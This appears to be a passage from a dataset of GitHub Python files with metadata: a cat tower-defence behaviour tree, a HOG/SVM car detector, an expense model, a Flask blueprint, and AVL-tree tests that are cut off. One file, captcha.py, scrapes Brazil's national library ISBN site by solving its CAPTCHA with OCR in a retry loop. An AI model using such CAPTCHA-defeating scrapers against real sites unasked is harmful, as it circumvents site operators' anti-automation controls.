self.actor.rodent_data.targeted_cat = closest_target\n # Path find to target cat\n path = resolve(pyasge.Point2D(closest_target.sprite.midpoint.x, closest_target.sprite.midpoint.y),\n self.game_data, self.actor.sprite.midpoint, self.actor.rodent_data.can_hidden_path)\n path.pop(-1)\n self.actor.destination = path\n return True\n\n\nclass GenerateYarn:\n def __init__(self, game_data, cat):\n self.game_data = game_data\n self.cat = cat\n self.timer = 0\n\n def update(self, game_time: pyasge.GameTime):\n # Inc Yarn\n if self.timer >= self.cat.cat_data.reload_time:\n self.game_data.yarn += self.cat.cat_data.yarn_per_resource\n self.timer = 0\n else:\n self.timer += game_time.frame_time\n\n return True\n\n\nclass SlowRodent:\n def __init__(self, targets, actor, data):\n # Slow all targets in range\n self.targets = targets\n self.actor = actor\n self.data = data\n\n def update(self, game_time: pyasge.GameTime):\n # Determines if target is in range\n att_range = self.data.attack_range * pow(self.data.stat_inc_per_level, self.data.upgrade_level-1)\n for target in self.targets:\n distance = pyasge.Point2D.distance(target.sprite.midpoint, self.actor.sprite.midpoint)\n # De buffs them if in range\n if distance <= att_range:\n target.rodent_data.slow_de_buff = True\n else:\n target.rodent_data.slow_de_buff = target.rodent_data.slow_de_buff\n return True\n\n\nclass BoostCat:\n def __init__(self, targets, actor, data):\n # Boost all targets in range\n self.targets = targets\n self.actor = actor\n self.data = data\n\n def update(self, game_time: pyasge.GameTime):\n # Determines if in range\n att_range = self.data.attack_range * pow(self.data.stat_inc_per_level, self.data.upgrade_level-1)\n for target in self.targets:\n distance = pyasge.Point2D.distance(target.sprite.midpoint, self.actor.sprite.midpoint)\n # Buffs them if in range\n if distance <= att_range:\n target.cat_data.boost_buff = True\n else:\n target.cat_data.boost_buff = False\n return True\n", "repo_name": "Shawwal00/TDCat-Group-Game", "sub_path": "game/behaviourtree.py", "file_name": "behaviourtree.py", "file_ext": "py", "file_size_in_byte": 15398, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "enum.IntEnum", "line_number": 8, "usage_type": "name"}, {"api_name": "pyasge.GameTime", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 132, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 147, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 158, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D.distance", "line_number": 163, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 163, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 176, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D.distance", "line_number": 178, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 178, "usage_type": "attribute"}, {"api_name": "game.catdata.CatType.BLOCKER", "line_number": 179, "usage_type": "attribute"}, {"api_name": "game.catdata.CatType", "line_number": 179, "usage_type": "name"}, {"api_name": "pyasge.GameTime", "line_number": 194, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D.distance", "line_number": 204, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 204, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 223, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 237, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D", "line_number": 241, "usage_type": "call"}, {"api_name": "pyasge.GameTime", "line_number": 254, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D", "line_number": 258, "usage_type": "call"}, {"api_name": "pyasge.GameTime", "line_number": 271, "usage_type": "attribute"}, {"api_name": "game.pathfinding.resolve", "line_number": 279, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 279, "usage_type": "call"}, {"api_name": "pyasge.GameTime", "line_number": 294, "usage_type": "attribute"}, {"api_name": "game.pathfinding.resolve", "line_number": 302, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 302, "usage_type": "call"}, {"api_name": "pyasge.GameTime", "line_number": 320, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D.distance", "line_number": 328, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 328, "usage_type": "attribute"}, {"api_name": "game.catdata.CatType.BLOCKER", "line_number": 329, "usage_type": "attribute"}, {"api_name": "game.catdata.CatType", "line_number": 329, "usage_type": "name"}, {"api_name": "pyasge.GameTime", "line_number": 348, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D.distance", "line_number": 356, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 356, "usage_type": "attribute"}, {"api_name": "game.catdata.CatType.BLOCKER", "line_number": 357, "usage_type": "attribute"}, {"api_name": "game.catdata.CatType", "line_number": 357, "usage_type": "name"}, {"api_name": "game.pathfinding.resolve", "line_number": 362, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 362, "usage_type": "call"}, {"api_name": "pyasge.GameTime", "line_number": 375, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 393, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D.distance", "line_number": 397, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 397, "usage_type": "attribute"}, {"api_name": "pyasge.GameTime", "line_number": 413, "usage_type": "attribute"}, {"api_name": "pyasge.Point2D.distance", "line_number": 417, "usage_type": "call"}, {"api_name": "pyasge.Point2D", "line_number": 417, "usage_type": "attribute"}]} {"seq_id": "8594355529", "text": "import matplotlib.image as mpimg\nimport os\nfrom os import walk\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport pickle\nimport glob\nimport time\nfrom sklearn.svm import LinearSVC\nfrom sklearn.preprocessing import StandardScaler\nfrom multiprocessing import cpu_count\nfrom functools import partial\nfrom multiprocessing import Pool\n\n#from skimage.feature import hog\nfrom extract_feature_functions import *\nfrom lane_processing_pipeline import *\n# NOTE: the next import is only valid for scikit-learn version <= 0.17\n# for scikit-learn >= 0.18 use:\n# from sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import train_test_split\n\n# Define a function to extract features from a single image window\n# This function is very similar to extract_features()\n# just for a single image rather than list of images\ndef single_img_features(img, color_space='RGB', spatial_size=(32, 32),\n hist_bins=32, orient=9, \n pix_per_cell=8, cell_per_block=2, hog_channel=0,\n spatial_feat=True, hist_feat=True, hog_feat=True): \n #1) Define an empty list to receive features\n img_features = []\n #2) Apply color conversion if other than 'RGB'\n if color_space != 'RGB':\n if color_space == 'HSV':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n elif color_space == 'LUV':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2LUV)\n elif color_space == 'HLS':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n elif color_space == 'YUV':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\n elif color_space == 'YCrCb':\n feature_image = cv2.cvtColor(img, cv2.COLOR_RGB2YCrCb)\n else: feature_image = np.copy(img) \n #3) Compute spatial features if flag is set\n if spatial_feat == True:\n spatial_features = bin_spatial(feature_image, size=spatial_size)\n #4) Append features to list\n img_features.append(spatial_features)\n #5) Compute histogram features if flag is set\n if hist_feat == True:\n hist_features = color_hist(feature_image, nbins=hist_bins)\n #6) Append features to list\n img_features.append(hist_features)\n #7) Compute HOG features if flag is set\n if hog_feat == True:\n if hog_channel == 'ALL':\n hog_features = []\n for channel in range(feature_image.shape[2]):\n hog_features.extend(get_hog_features(feature_image[:,:,channel], \n orient, pix_per_cell, cell_per_block, \n vis=False, feature_vec=True)) \n else:\n hog_features = get_hog_features(feature_image[:,:,hog_channel], orient, \n pix_per_cell, cell_per_block, vis=False, feature_vec=True)\n #8) Append features to list\n img_features.append(hog_features)\n\n #9) Return concatenated array of features\n return np.concatenate(img_features)\n\n# Define a function you will pass an image \n# and the list of windows to be searched (output of slide_windows())\ndef search_windows(windows, img, clf, scaler, color_space='RGB', \n spatial_size=(32, 32), hist_bins=32, \n hist_range=(0, 256), orient=9, \n pix_per_cell=8, cell_per_block=2, \n hog_channel=0, spatial_feat=True, \n hist_feat=True, hog_feat=True):\n\n #1) Create an empty list to receive positive detection windows\n on_windows = []\n test_img = []\n \n #2) Iterate over all windows in the list\n t_feature = 0\n t_prediction = 0\n features_count = 0\n for window in windows:\n #3) Extract the test window from original image\n test_img = cv2.resize(img[window[0][1]:window[1][1], window[0][0]:window[1][0]], (64, 64)) \n #4) Extract features for that window using single_img_features()\n t1 = time.time()\n features = single_img_features(test_img, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\n t2 = time.time()\n t_feature += t2-t1\n \n #5) Scale extracted features to be fed to classifier\n test_features = scaler.transform(np.array(features).reshape(1, -1))\n #6) Predict using your classifier\n t1 = time.time()\n prediction = clf.predict(test_features)\n t2 = time.time()\n t_prediction += t2-t1\n \n #7) If positive (prediction == 1) then save the window\n if prediction == 1:\n on_windows.append(window)\n \n# print('Total Feature extraction time {:.5f}'.format(t_feature))\n# print('Total Prediction time {:.5f}'.format(t_prediction))\n #8) Return windows for positive detections\n return on_windows\n \n \ndef get_image_path(path, nImgs=None):\n image_path = []\n \n imgCount = 0\n for (dirpath, _, _) in walk(path):\n images = glob.glob(dirpath + '/*.png')\n for img in images:\n image_path.append(img)\n if imgCount > nImgs:\n break\n imgCount += 1\n return image_path\n\n# Read in cars and notcars\ndef train_load_svc(params):\n # Get location of all vehicle images\n nTrain_img = 8000\n path =\"../training_data/vehicles\"\n cars = get_image_path(path, nTrain_img)\n vehicle_labels = [1] * len(cars)\n print('Number of vehicle images read: {}'.format(len(cars)))\n \n # Get location of all non vehicle images\n path =\"../training_data/non-vehicles\"\n notcars = get_image_path(path, nTrain_img)\n non_vehicle_labels = [0] * len(notcars)\n print('Number of non-vehicle images read: {}'.format(len(notcars)))\n \n ### Set parameters\n color_space = params['color_space']\n orient = params['orient']\n pix_per_cell = params['pix_per_cell']\n cell_per_block = params['cell_per_block']\n hog_channel = params['hog_channel']\n spatial_size = params['spatial_size']\n hist_bins = params['hist_bins']\n spatial_feat = params['spatial_feat']\n hist_feat = params['hist_feat']\n hog_feat = params['hog_feat']\n y_start_stop = params['y_start_stop']\n \n# #plot hog feature\n# sample_img = mpimg.imread(cars[52])\n# sample_img_cspace = cv2.cvtColor(sample_img, cv2.COLOR_RGB2HLS)\n# \n# _, vis_img_ch0 = get_hog_features(sample_img_cspace[:,:,0], \n# orient, pix_per_cell, cell_per_block, \n# vis=True, feature_vec=True)\n# _, vis_img_ch1 = get_hog_features(sample_img_cspace[:,:,1], \n# orient, pix_per_cell, cell_per_block, \n# vis=True, feature_vec=True)\n# _, vis_img_ch2 = get_hog_features(sample_img_cspace[:,:,2], \n# orient, pix_per_cell, cell_per_block, \n# vis=True, feature_vec=True)\n# plt.subplot(231)\n# plt.imshow(sample_img)\n# plt.subplot(232)\n# plt.imshow(sample_img_cspace)\n# plt.subplot(234)\n# plt.imshow(vis_img_ch0)\n# plt.subplot(235)\n# plt.imshow(vis_img_ch1)\n# plt.subplot(236)\n# plt.imshow(vis_img_ch2)\n# plt.show\n \n car_features = extract_features(cars, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\n notcar_features = extract_features(notcars, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat)\n \n # Create an array stack of feature vectors\n X = np.vstack((car_features, notcar_features)).astype(np.float64)\n \n # Define the labels vector\n y = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n # Split up data into randomized training and test sets\n rand_state = np.random.randint(0, 100)\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=rand_state)\n \n # Fit a per-column scaler\n X_scaler = StandardScaler().fit(X_train)\n # Apply the scaler to X\n X_train = X_scaler.transform(X_train)\n X_test = X_scaler.transform(X_test)\n \n print('Using:',orient,'orientations',pix_per_cell,\n 'pixels per cell and', cell_per_block,'cells per block')\n print('Feature vector length:', len(X_train[0]))\n # Use a linear SVC \n svc = LinearSVC(C=10)\n # Check the training time for the SVC\n t=time.time()\n svc.fit(X_train, y_train)\n t2 = time.time()\n print(round(t2-t, 2), 'Seconds to train SVC...')\n # Check the score of the SVC\n print('Test Accuracy of SVC = ', round(svc.score(X_test, y_test), 4))\n # Check the prediction time for a single sample\n t=time.time()\n \n # pickle the model\n print('Pickling SVM model ...')\n save_quant = {'clf': svc, 'X_scaler':X_scaler}\n with open('../car_classifier.p', 'wb') as handle:\n pickle.dump(save_quant, handle)\n \n return svc, X_scaler\n\ndef find_car_in_frame(image, svc, X_scaler, params):\n\n ### Set parameters\n color_space = params['color_space']\n orient = params['orient']\n pix_per_cell = params['pix_per_cell']\n cell_per_block = params['cell_per_block']\n hog_channel = params['hog_channel']\n spatial_size = params['spatial_size']\n hist_bins = params['hist_bins']\n spatial_feat = params['spatial_feat']\n hist_feat = params['hist_feat']\n hog_feat = params['hog_feat']\n y_start_stop = params['y_start_stop']\n\n \n draw_image = np.copy(image)\n \n # Uncomment the following line if you extracted training\n # data from .png images (scaled 0 to 1 by mpimg) and the\n # image you are searching is a .jpg (scaled 0 to 255)\n draw_image = draw_image.astype(np.float32)/255\n \n# x_start_stop = [[350, 850], [200, 1100], [0, 1280], [0, 1280]]\n# y_start_stop = [[375, 575], [300, 600], [300, 650], [300, 650]]\n# windows = slide_window(draw_image, x_start_stop=x_start_stop, y_start_stop=y_start_stop,\n# scale=[0.5, 1.0, 1.55, 2.5], \n# xy_window=(64, 64), xy_overlap=(0.5, 0.5))\n# window_img = draw_boxes(draw_image, windows, color=(255, 0, 0), thick=2) \n \n# x_start_stop = [[200, 1000]] #0.75\n# y_start_stop = [[375, 500]]\n x_start_stop = [[100, 1100], [200, 1200], [100, 1280]]\n y_start_stop = [[375, 600], [400, 650], [400, 650]]\n windows = slide_window(image, x_start_stop=x_start_stop, y_start_stop=y_start_stop,\n scale=[0.75, 1.5, 2.5], \n xy_window=(64, 64), xy_overlap=(0.5, 0.5))\n window_img = draw_boxes(draw_image, windows, color=(0, 0, 255), thick=2) \n\n \n t1=time.time()\n hot_windows = search_windows(windows, draw_image, svc, X_scaler, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n orient=orient, pix_per_cell=pix_per_cell, \n cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=spatial_feat, \n hist_feat=hist_feat, hog_feat=hog_feat) \n t2=time.time() \n print('{} windows to search for cars...'.format(len(windows) ))\n print('{:2f} seconds to find cars.'.format(t2-t1))\n# window_img = draw_boxes(draw_image, hot_windows, color=(0, 0, 255), thick=3)\n \n heat_img, labels = add_heat(np.zeros(image.shape[0:2]), hot_windows, threshold=3)\n\n \n# marked_image, bbox = draw_labeled_bboxes(window_img, labels)\n marked_image, bbox = draw_labeled_bboxes(image, labels)\n \n# plt.figure(figsize=(12, 2))\n# plt.subplot(1,3,1)\n# plt.imshow(window_img)\n# plt.subplot(1,3,2)\n# plt.imshow(heat_img, cmap='hot')\n# plt.subplot(1,3,3)\n# plt.imshow(marked_image)\n# plt.show()\n \n return marked_image, heat_img, bbox\n\nif __name__ == '__main__':\n\n ### TODO: Tweak these parameters and see how the results change.\n params = {}\n params['color_space'] = 'HLS' # Can be RGB, HSV, LUV, HLS, YUV, YCrCb\n params['orient'] = 11 # HOG orientations\n params['pix_per_cell'] = 8 # HOG pixels per cell\n params['cell_per_block'] = 2 # HOG cells per block\n params['hog_channel'] = 'ALL' # Can be 0, 1, 2, or \"ALL\"\n params['spatial_size'] = (16, 16) # Spatial binning dimensions\n params['hist_bins'] = 8 # Number of histogram bins\n params['spatial_feat'] = True # Spatial features on or off\n params['hist_feat'] = True # Histogram features on or off\n params['hog_feat'] = True # HOG features on or off\n params['y_start_stop'] = [400, 670] # Min and max in y to search in slide_window()\n \n if os.path.isfile('../car_classifier.p'):\n print('Loading trained model ../car_classifier.p')\n print('To train a new model please delete this file')\n load_quant = pickle.load(open('../car_classifier.p', 'rb'))\n svc = load_quant['clf']\n X_scaler = load_quant['X_scaler']\n else:\n svc, X_scaler = train_load_svc(params)\n \n img = mpimg.imread('../test_images/bbox-example-image.jpg')\n \n marked_image, heat_img, bbox = find_car_in_frame(img, svc, X_scaler, params)\n \n plt.figure()\n plt.imshow(marked_image)\n plt.show()\n \n# # calculate perspective transform\n# M, M_inv = calcPerspectiveTransform(pltFlg=False) \n# # read camera calibration\n# mtx, dist = load_cam_calibration()\n# \n# # detect lane location and mark them\n# imgUndistort, left_fit, right_fit, lane_curv, lane_offset, calc_check, combined_binary, unwarped_marked = \\\n# laneMarker(img, M, M_inv, mtx, dist, 0, np.array([0, 0, 0]), np.array([0, 0, 0]))\n# \n# composite_img = annotate_output_figure(imgUndistort, left_fit, right_fit, combined_binary, unwarped_marked, M_inv)\n# plt.imshow(composite_img)\n# # plt.savefig(r'../output_images/' + filename)\n# plt.show()", "repo_name": "harshnandan/CarNd_t1_p5_object_detection", "sub_path": "src/train_car_model_single.py", "file_name": "train_car_model_single.py", "file_ext": "py", "file_size_in_byte": 14899, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.cvtColor", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2HSV", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2LUV", "line_number": 38, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2HLS", "line_number": 40, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2YUV", "line_number": 42, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2YCrCb", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 92, "usage_type": "call"}, {"api_name": "time.time", "line_number": 94, "usage_type": "call"}, {"api_name": "time.time", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 105, "usage_type": "call"}, {"api_name": "time.time", "line_number": 107, "usage_type": "call"}, {"api_name": "time.time", "line_number": 109, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 126, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 202, "usage_type": "attribute"}, {"api_name": "numpy.hstack", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 207, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 208, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 211, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 220, "usage_type": "call"}, {"api_name": "time.time", "line_number": 222, "usage_type": "call"}, {"api_name": "time.time", "line_number": 224, "usage_type": "call"}, {"api_name": "time.time", "line_number": 229, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 260, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 279, "usage_type": "call"}, {"api_name": "time.time", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 291, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 324, "usage_type": "call"}, {"api_name": "os.path", "line_number": 324, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 327, "usage_type": "call"}, {"api_name": "matplotlib.image.imread", "line_number": 333, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 333, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 337, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 337, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 338, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 338, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 339, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 339, "usage_type": "name"}]} {"seq_id": "43031689855", "text": "import pytesseract\nimport sys\nimport argparse\nimport requests\nfrom bs4 import BeautifulSoup\nimport datetime\nimport random\nimport os\ntry:\n import Image\nexcept ImportError:\n from PIL import Image\nfrom subprocess import check_output\n\n\ndef resolve(path):\n print(\"Resampling the Image\")\n samples = [100,200,300,400,500,600]\n chave = str(random.getrandbits(128))+'.jpeg'\n ranking = {}\n for sample in samples:\n check_output(['convert', path, '-resample', str(sample), chave])\n valor = pytesseract.image_to_string(Image.open(chave), lang='eng', config='--oem 3').replace(' ','')\n if(valor not in ranking):\n ranking[valor] = 0\n ranking[valor] = ranking[valor] + 1\n valores = sorted(ranking.items(), key = lambda kv:(kv[1], kv[0]), reverse=True)\n print(valores)\n #os.remove(chave)\n return valores[0][0]\n\nif __name__==\"__main__\":\n '''argparser = argparse.ArgumentParser()\n argparser.add_argument('path',help = 'Captcha file path')\n argparser.add_argument('sample',help = 'Size image')\n '''\n s = requests.session()\n url = \"http://www.isbn.bn.br/website/consulta/cadastro\"\n h = {\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3',\n 'Accept-Encoding': 'gzip, deflate',\n 'Referer': 'http://www.isbn.bn.br/website/consulta/cadastro/filtrar',\n 'Connection': 'keep-alive'\n }\n req = s.get(url)\n jsessionid = s.cookies.get_dict()['JSESSIONID']\n \n h = {\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',\n 'Accept': 'image/webp,*/*',\n 'Accept-Language': 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3',\n 'Accept-Encoding': 'gzip, deflate',\n 'Referer': 'http://www.isbn.bn.br/website/consulta/cadastro/filtrar',\n 'Connection': 'keep-alive',\n 'Cookie': 'JSESSIONID='+jsessionid\n }\n tentativa = 0\n while(tentativa < 10):\n data = datetime_object = datetime.datetime.now()\n tempo = int(datetime.datetime.timestamp(data)*1000)\n caminho = 'http://www.isbn.bn.br/website/jcaptcha?'+str(tempo)\n r = s.get(caminho, headers=h)\n open('imagem.jpeg', 'wb').write(r.content)\n \n #args = argparser.parse_args()\n path = 'imagem.jpeg'\n print('Resolving Captcha')\n captcha_text = resolve(path).replace(' ','')\n print('Extracted Text',captcha_text)\n \n h = {\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3',\n 'Accept-Encoding': 'gzip, deflate',\n 'Referer': 'http://www.isbn.bn.br/website/consulta/cadastro/filtrar',\n 'Connection': 'keep-alive',\n 'Cookie': 'JSESSIONID='+jsessionid\n }\n url = 'http://www.isbn.bn.br/website/consulta/cadastro/filtrar'\n isbn = '9788576051268'\n #isbn = '9788573289206'\n req = s.post(url, data={'campo':'1','valor':isbn,'imagemCaptcha':captcha_text},headers=h)\n soup = BeautifulSoup(req.text, 'html.parser')\n book = soup.find(name='span',attrs={\"id\":'imagemCaptcha.errors'})\n if(book == None):\n tentativa = 10\n div = soup.find(name='div',attrs={\"class\":'conteudo'})\n divs = div.findChildren(\"div\", recursive=False)\n for d in divs:\n if(d.findChildren(name='strong', recursive=False)):\n texto = d.text.strip().replace('Participações ','').replace('ISBN ','').replace('Título ','').replace('Edição ','').replace('Tipo de Suporte ','').replace('Páginas ','').replace('Editor(a) ','').replace('Editor(a) ','').strip()\n if('Participações' in texto):\n print(texto)\n print(texto.split('\\n'))\n linhas = texto.split('\\n')\n autores = ''\n for linha in linhas:\n if('( Autor)' in linha):\n autor = linha.replace('\\r','').replace('( Autor)','').strip()\n autores = autores + ';' + autor\n print(autores[1:])\n tentativa = tentativa + 1\n \n print(book)\n", "repo_name": "thesivis/theisbn", "sub_path": "captcha.py", "file_name": "captcha.py", "file_ext": "py", "file_size_in_byte": 4592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "random.getrandbits", "line_number": 19, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 22, "usage_type": "call"}, {"api_name": "pytesseract.image_to_string", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 23, "usage_type": "name"}, {"api_name": "requests.session", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "attribute"}, {"api_name": "datetime.datetime.timestamp", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 86, "usage_type": "call"}]} {"seq_id": "35956271570", "text": "from collections import namedtuple\n\nCategory = namedtuple(\"Category\", [\"id\", \"name\", \"parent\"])\n\nclass Expense(object):\n\n def __init__(self, id, user_id, year, month, day, week, description, category, cost):\n self.id = id\n self.user_id = user_id\n self.year = year\n self.month = month\n self.day = day\n self.week = week\n self.description = description\n self.category = category\n self.cost = cost\n\n def asList(self):\n return [\n self.id,\n \"%d-%d-%d\" % (self.year, self.month, self.day),\n self.description,\n self.cost,\n self.category.parent,\n self.category.name\n ]\n", "repo_name": "nlindblad/splitwise-openexchangerates-python-client", "sub_path": "splitwise/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 709, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.namedtuple", "line_number": 3, "usage_type": "call"}]} {"seq_id": "1461712932", "text": "from flask import Blueprint, jsonify\n\n\napi = Blueprint(\"api\",__name__)\n\ndata = [\n {\n \"id\" : 1,\n \"name\" : \"stone\"\n\n },\n {\n \"id\" : 2,\n \"name\" : \"fish\"\n },\n {\n \"id\" : 3,\n \"name\" : \"vegetables\"\n },\n {\n \"id\" : 4,\n \"name\" : \"beans\"\n },\n {\n \"id\" : 5,\n \"name\" : \"air-purifier\"\n }\n]\n\n\n@api.route(\"/blogs/\")\ndef blog_list():\n return jsonify([\n {\n \"name\":\"anies\",\n \"position\":20\n },\n\n {\n \"name\":\"fioiyobong\",\n \"age\":2\n },\n {\n \"school\":\"aptech\",\n \"address\":\"worldwide\"\n },\n {\n \"gender\":\"female\",\n \"blood-type\":\"AB+\"\n }\n ])\n\n\n@api.get(\"/blogs/\")\ndef blog_retrieve(id):\n # fun function that filter a list of dictionary\n return \"blog with id \"+str(id)", "repo_name": "Fioiyobong/first_heroku", "sub_path": "api/routes.py", "file_name": "routes.py", "file_ext": "py", "file_size_in_byte": 900, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Blueprint", "line_number": 4, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 33, "usage_type": "call"}]} {"seq_id": "17866731634", "text": "import pytest\nfrom pytest import CaptureFixture\n\nfrom data_structures.binary_tree import AVLTree\n\n\nclass TestBalancedTree:\n\n @pytest.fixture\n def avl_tree(self) -> AVLTree:\n avl_tree = AVLTree()\n avl_tree.insert(16)\n avl_tree.insert(8)\n avl_tree.insert(20)\n avl_tree.insert(4)\n avl_tree.insert(12)\n avl_tree.insert(10)\n avl_tree.insert(18)\n return avl_tree\n\n @pytest.fixture\n def avl_tree2(self) -> AVLTree:\n avl_tree = AVLTree()\n avl_tree.insert(16)\n avl_tree.insert(8)\n avl_tree.insert(20)\n avl_tree.insert(4)\n avl_tree.insert(12)\n avl_tree.insert(10)\n avl_tree.insert(18)\n return avl_tree\n\n @pytest.fixture\n def avl_tree3(self) -> AVLTree:\n 